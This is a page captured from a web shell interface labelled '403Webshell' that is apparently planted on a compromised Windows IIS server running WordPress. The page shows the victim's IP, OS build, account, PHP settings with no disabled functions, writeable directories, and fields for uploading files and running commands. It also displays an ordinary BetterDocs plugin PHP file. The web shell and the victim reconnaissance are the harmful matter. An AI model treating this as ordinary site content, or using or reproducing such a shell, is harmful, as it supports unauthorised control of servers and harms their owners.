403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs/includes/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs/includes/Traits/CategoryBox.php
<?php

namespace WPDeveloper\BetterDocs\Traits;

trait CategoryBox {
    public function header_sequence( $_layout_sequence, $layout, $widget_type, $_defined_vars ) {
        if ( $layout === 'layout-2' ) {
            $_layout_sequence = ['category_icon', 'category_title', 'category_counts'];
        }

        if ( $layout === 'layout-3' ) {
            $_layout_sequence = ['category_icon', [
                'class'    => 'betterdocs-category-title-counts',
                'sequence' => ['category_title', 'category_description', 'category_counts']
            ]];
        }

        return $_layout_sequence;
    }

    public function layout_filename( $filename, $origin_layout ) {
        return $origin_layout === 'layout-3' || $origin_layout === 'layout-2' ? 'default' : $filename;
    }

    public function add_filter( $eligible ){
        if( ! $eligible ) {
            return;
        }

        add_filter( 'betterdocs_header_layout_sequence', [$this, 'header_sequence'], 10, 4 );
        add_filter( 'betterdocs_layout_filename', [$this, 'layout_filename'], 10, 2 );
    }

    public function remove_filter( $eligible ){
        if( ! $eligible ) {
            return;
        }

        remove_filter( 'betterdocs_header_layout_sequence', [$this, 'header_sequence'], 10 );
        remove_filter( 'betterdocs_layout_filename', [$this, 'layout_filename'], 10 );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit